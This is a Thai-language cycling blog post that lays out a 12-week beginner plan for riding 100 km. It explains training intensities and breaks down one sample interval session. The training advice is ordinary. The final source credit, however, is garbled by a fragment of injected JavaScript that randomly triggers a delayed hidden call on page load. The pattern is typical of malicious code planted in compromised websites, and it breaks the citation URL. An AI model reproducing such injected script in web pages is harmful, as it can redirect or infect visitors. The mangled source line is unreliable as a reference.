มือใหม่วัดใจ ฝึกปั่น 100 โล

มือใหม่วัดใจ ฝึกปั่น 100 โล

สรรหารูปแบบฝึกซ้อมมาใหม่นักปั่นมือใหม่เเต่ใจเกินร้อยมาทดลองฝึกปั่นกันดูกับ ตารางฝึก “พิชิต 100 กิโลเมตร ภายใน 12 สัปดาห์”เเต่ก่อนจะลงมือปั่น เรามาทำความรู้จักกับคำศัพท์ที่ใช้ในตารางกันก่อนนะครับ

ฺ1.Base ride คือการปั่นในระดับธรรมดา ใช้สำหรับการ warm up และ cool down ไปในตัวด้วย หากเเบ่งระดับความเข้มข้นในการปั่นออกเป็น 10 ระดับ การปั่นเเบบ base จะอยู่ที่ระดับ 5 ครับ

2. Tempo คือการปั่นในระดับที่สูงกว่า Base ขึ้นมานิดหน่อย เเต่ยังทดได้ สามารถประคองไปจนจบรอบการปั่น สำหรับใครที่เป็นนักวิ่งมาก่อนคงจะคุ้นเคยกันดี เป็นการเพิ่มความเร็วขึ้นมาจากระดับที่เราปั่นธรรมดา ซึ่งจะอยู่ราวๆ ระดับ 7 ครับ

3. Threshold จะอยู่ในระดับ 8-9 สูงกว่า tempo เราอาจจะประคับประคองได้ไม่นาน สังเกตง่ายๆ ได้ว่า HR เราจะเข้าสู่โหมด Anaerobic เมื่อปั่นในระดับนี้

4. Max ระดับการปั่นที่ใส่หมดทุกอย่าง จินตนาการว่าคือ final sprint ระยะ 100 เมตรสุดท้ายก่อนเข้าเส้นชัย ระดับอยู่ที่ 10 เลยครับ

5. Core คือการฝึก Strength training ฝึกกล้ามเนื้อช่วง core ให้เเข็งเเรง ตัวอย่างเช่น….

6. Spinning คือการฝึกปั่นควงขา ใช้เกียร์เบาควงขาเร็ว ในการฝึกนี้อาจจะใช้เพื่อการ recovery ไล่เลือดเเละของเสียออกไปจากกล้ามเนื้อ

7. Long ride คือการปั่นระยะยาว อาจจะให้ HR อยู่ในช่วง Fat burn หรือต้นๆ ของโซน Aerobic

ว่าเเล้วเราไปดูตารางการฝึก 12 สัปดาห์นี้กันเลย……

สังเกตว่าในช่วง 1-3 สัปดาห์เเรกจะมีหัวข้อว่า Build นั้นหมายถึงการฝึกเพื่อสร้างพื้นฐาน สร้างความอึด สร้างพละกำลังให้ร่างกาย เเละเมื่อเข้าช่วงวัปดาห์ที่ 4 จะเข้าสู่โหมด Recovery ให้ร่างกายได้พักผ่อน

ในตาราง “ฝึกปั่น 100 โล” เพื่อนๆ อาจจะมีคำถามว่า “1hr 30min base ride with 2*25min efforts (15min tempo, 10min threshold)” คืออะไร แปลว่าอะไร…แปลง่ายๆ ครับว่าในการฝึกนี้ใช้เวลาทั้งหมด 1 ชั่วโมง 30 นาที และในการฝึกนี้จะต้องมีการปั่นเเบบ tempo 15 นาที และ ระดับ threshold อีก 10 นาที ทำซ้ำ 2 เซต ซึ่งเราอาจจะเเบ่งการปั่นเป็นแบบ…

1hr 30min

• 10min base
• 15min tempo
• 5min base
• 10min threshold
• 10min base
• 15min tempo
• 5min base
• 10min threshold
• 10min base

ส่วนใครจะขึ้นรูปแบบการฝึกสัปดาห์ใหม่แล้วรู้สึกว่ายังยากเกินไปก็ให้ฝึกซ้ำสัปดาห์เก่าไปก่อนเเล้วค่อยขึ้นการฝึกในสัปดาห์ต่อไป

ในส่วนของคำว่า High gear ride หมายถึงการปั่นที่ใช้เกียร์สูงขึ้น ระดับอาจจะมากกว่าการปั่นเเบบ tempo หรือที่เดียวกันเเต่เน้นการทำความเร็ว และอย่างลืมทำการยืดคลายเส้นทุกครั้งที่จบการปั่นนะครับ

ที่มา..andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-fitness/training-plans/b/weblog/archive/2015/02/16/12-week-novice-100km-training-plan.aspx?utm_source=Pinterest&utm_medium=Pinterest%20Post&utm_campaign=a”>thecyclingbug.co.uk